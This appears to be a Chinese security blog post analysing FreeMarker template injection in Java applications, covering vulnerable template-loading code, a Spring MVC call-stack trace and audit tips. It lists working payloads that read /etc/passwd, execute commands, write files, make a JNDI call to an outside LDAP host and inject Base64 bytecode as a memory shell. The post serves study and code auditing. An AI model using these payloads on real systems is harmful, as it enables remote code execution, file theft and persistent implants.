• Java安全之freemaker模版注入


    Java安全之freemaker模版注入

    freemaker简介#

    FreeMarker 是一款模板引擎: 即一种基于模板和要改变的数据, 并用来生成输出文本(HTML网页,电子邮件,配置文件,源代码等)的通用工具。 在线手册:http://freemarker.foofun.cn/

    模板文件存放在Web服务器上,当访问指定模版文件时, FreeMarker会动态转换模板,用最新的数据内容替换模板中 ${...}的部分,然后返回渲染结果。

    freemaker中的一些概念:

    • ${...}: FreeMarker将会输出真实的值来替换大括号内的表达式,这样的表达式被称为 interpolation(插值)

    • FTL 标签 (FreeMarker模板的语言标签): FTL标签和HTML标签有一些相似之处,但是它们是FreeMarker的指令,是不会在输出中打印的。 这些标签的名字以 # 开头。(用户自定义的FTL标签则需要使用 @ 来代替 #,但这属于更高级的话题了。)

    • 注释: 注释和HTML的注释也很相似, 但是它们使用 <#-- and --> 来标识。 不像HTML注释那样,FTL注释不会出现在输出中(不出现在访问者的页面中), 因为 FreeMarker会跳过它们。

    其他任何不是FTL标签,插值或注释的内容将被视为静态文本, 这些东西不会被FreeMarker所解析;会被按照原样输出出来。

    freemaker中的一些指令:http://freemarker.foofun.cn/dgui_quickstart_template.html

    一般漏洞常位于后台可以编辑模版的地方,通过插入恶意的ftl指令到ftl文件中,当后端再次return或者process时即可触发代码执行。

    主要代码

    Configuration cfg = new Configuration();
    cfg.setAPIBuiltinEnabled(true);	// 开启api
    StringTemplateLoader stringLoader = new StringTemplateLoader();
    stringLoader.putTemplate("myTemplate",templateContent);
    cfg.setTemplateLoader(stringLoader);
    Template template = cfg.getTemplate("myTemplate","utf-8");
    Map root = new HashMap();
    root.put("data",data);
    
    StringWriter writer = new StringWriter();
    template.process(root,writer);		//*
    return writer.toString();
    

    利用方式#

    api#

    这些内建函数从 FreeMarker 2.3.22 版本开始存在。

    通过它可以访问底层Java Api Freemarker的BeanWrappers。这个内置函数默认不开启,但通过Configurable.setAPIBuiltinEnabled可以开启它。

    如果value本身支持这个额外的特性, value?api 提供访问 value API (通常是 Java API),比如 value?api.someJavaMethod(), 当需要调用对象的Java方法时。

    poc

     <#assign classLoader=object?api.class.protectionDomain.classLoader>
      eg1:// 未测试成功
      <#assign classLoader=object?api.class.getClassLoader()>
      ${classLoader.loadClass("our.desired.class")}
    
      eg2: 任意文件读
      <#assign uri=object?api.class.getResource("/").toURI()>
      <#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
      <#assign is=input?api.getInputStream()>
      FILE:[<#list 0..999999999 as _>
          <#assign byte=is.read()>
          <#if byte == -1>
              <#break>
          #if>
      ${byte}, #list>]
    eg3: 
       <#assign is=object?api.class.getResourceAsStream("/etc/passwd")>
        FILE:[<#list 0..999999999 as _>
        <#assign byte=is.read()>
        <#if byte == -1>
            <#break>
        #if>
        ${byte}, #list>]
    eg4:
    <#assign uri=object?api.class.getResource("/").toURI()>
        <#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
        <#assign is=input?api.getInputStream()>
        FILE:[<#list 0..999999999 as _>
        <#assign byte=is.read()>
        <#if byte == -1>
            <#break>
        #if>
        ${byte}, #list>]
    eg5:获取classLoader
    <#assign classLoader=object?api.class.protectionDomain.classLoader>
        <#assign clazz=classLoader.loadClass("ClassExposingGSON")>
        <#assign field=clazz?api.getField("GSON")>
        <#assign gson=field?api.get(null)>
        <#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))>
        ${ex("calc")}
    

    New#

    <#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}
    
    <#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()}
    
    <#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")//@value为自定义标签
    

    针对new的利用方式,官方提供的一种限制方式——使用 Configuration.setNewBuiltinClassResolver(TemplateClassResolver) 或设置 new_builtin_class_resolver 来限制这个内建函数对类的访问。此处官方提供了三个预定义的解析器(从 2.3.17版开始)。:

    • UNRESTRICTED_RESOLVER:简单地调用ClassUtil.forName(String)
    • SAFER_RESOLVER:和第一个类似,但禁止解析ObjectConstructorExecutefreemarker.template.utility.JythonRuntime
    • ALLOWS_NOTHING_RESOLVER:禁止解析任何类。

    写文件#

    ${"freemarker.template.utility.ObjectConstructor"?new()("java.io.FileWriter","/tmp/hh.txt").append("<>").close()}
    

    SpEL#

    // 命令执行
    ${"freemarker.template.utility.ObjectConstructor"?new()("org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression("T(java.lang.Runtime).getRuntime().exec(\"calc\")").getValue()}
    
    // JNDI
    ${"freemarker.template.utility.ObjectConstructor"?new()("org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression("new+javax.management.remote.rmi.RMIConnector(new+javax.management.remote.JMXServiceURL(\"service:jmx:rmi:///jndi/ldap://172.16.4.1:1389/Basic/Command\"),new+java.util.Hashtable()).connect()").getValue()}
    
    // 加载字节码
    ${"freemarker.template.utility.ObjectConstructor"?new()("org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression("T(org.springframework.cglib.core.ReflectUtils).defineClass('SpringInterceptor',T(org.springframework.util.Base64Utils).decodeFromString(\"yv66vgAAADQA5。。。\"),new+javax.management.loading.MLet(new+java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()").getValue()}
    

    分析#

    先会通过StringTemplateLoader#putTemplate将我们输入的模版hello.ftl存放在StringTemplateLoader类中templates属性

     @RequestMapping(value = "/template", method =  RequestMethod.POST)
        public String template(@RequestBody Map templates) throws IOException {
            StringTemplateLoader stringLoader = new StringTemplateLoader();
            for(String templateKey : templates.keySet()){
                stringLoader.putTemplate(templateKey, templates.get(templateKey));
            }
            con.setTemplateLoader(new MultiTemplateLoader(new TemplateLoader[]{stringLoader,
                    con.getTemplateLoader()}));
            con.setAPIBuiltinEnabled(true);
            return "index";
        }
    

    之后将上面加载恶意模版的StringTemplateLoader通过Configuration#setTemplateLoader添加到cache中

    之后通过return hello会去调用我们添加的恶意模版(当然这里是demo代码,)

    后面部分依然走的SpringMVC工作流程,return modelandview的时候SpringMVC会去找对应的视图解析器来解析渲染模版并返回视图到前端

    堆栈如下:

    doRender:285, FreeMarkerView (org.springframework.web.servlet.view.freemarker)
    renderMergedTemplateModel:235, FreeMarkerView (org.springframework.web.servlet.view.freemarker)
    renderMergedOutputModel:167, AbstractTemplateView (org.springframework.web.servlet.view)
    render:303, AbstractView (org.springframework.web.servlet.view)
    render:1286, DispatcherServlet (org.springframework.web.servlet)
    processDispatchResult:1041, DispatcherServlet (org.springframework.web.servlet)
    doDispatch:984, DispatcherServlet (org.springframework.web.servlet)
    doService:901, DispatcherServlet (org.springframework.web.servlet)
    processRequest:970, FrameworkServlet (org.springframework.web.servlet)
    doPost:872, FrameworkServlet (org.springframework.web.servlet)
    service:661, HttpServlet (javax.servlet.http)
    service:846, FrameworkServlet (org.springframework.web.servlet)
    service:742, HttpServlet (javax.servlet.http)
    

    这里直接跟到freemaker里面看freemaker的处理,跟进FreeMarkerView#doRender方法

    这里首先通过gettemplate()获取到我们之前构造的恶意模版

       protected void processTemplate(Template template, SimpleHash model, HttpServletResponse response) throws IOException, TemplateException {
            template.process(model, response.getWriter());
        }
    

    之后在processTemplate调用Template#process,通过visit方法解析ftl指令触发代码执行

    freemarker.template.utility.Execute#exec()下断点看下调用,在visit之后主要是通过_eval来执行的ftl指令

    _eval是抽象方法,对应的实现有很多,而freemarker.template.utility.Execute对应的是MethodCall中的实现

    调用targetMethod中的exec方法

    命令执行

    最近遇到的freemaker比较多,这次主要是多了解一下freemaker的利用和审计时需要注意的点,主要是注意有没有freemaker的特征或者ftl

    审计时就需要看编辑模版的地方有没有StringTemplateLoader#putTemplatereturn此模版或者Template#process去解析的,大概里就会存在freemaker的模版注入。

    关于builtin function中的api还是没有很理解,感觉会能玩出很多花活

    Reference#

    https://www.cnblogs.com/nice0e3/p/16217471.html

    http://freemarker.foofun.cn/

    http://freemarker.foofun.cn/ref_builtins_expert.html

    https://xz.aliyun.com/t/4846

    https://dem0dem0.top/2022/06/10/freemarker初探/

    https://www.anquanke.com/post/id/215348

    https://www.cnblogs.com/bmjoker/p/13508538.html

    https://github.com/achuna33/Memoryshell-JavaALL

  • 相关阅读:
    五步骤清理,形成自己的喜悦系统
    java计算机毕业设计高原特色农产品网站设计源码+mysql数据库+系统+lw文档+部署
    JDK1.8Stream根据条件过滤出两个List集合中不一样的数据
    sizeof函数的用法
    Tomcat 源码分析 (整体架构) (一)
    解决Python+vscode环境,QThread 线程无法加入断点问题
    Metalama简介1. 不止是一个.NET跨平台的编译时AOP框架
    Web实训项目--网页设计(附源码)
    WeLink协作文档:办公协作再快一档
    前端使用highlight.js代码高亮显示(服务端返回前端代码的字符串格式)
  • 原文地址:https://www.cnblogs.com/CoLo/p/16706091.html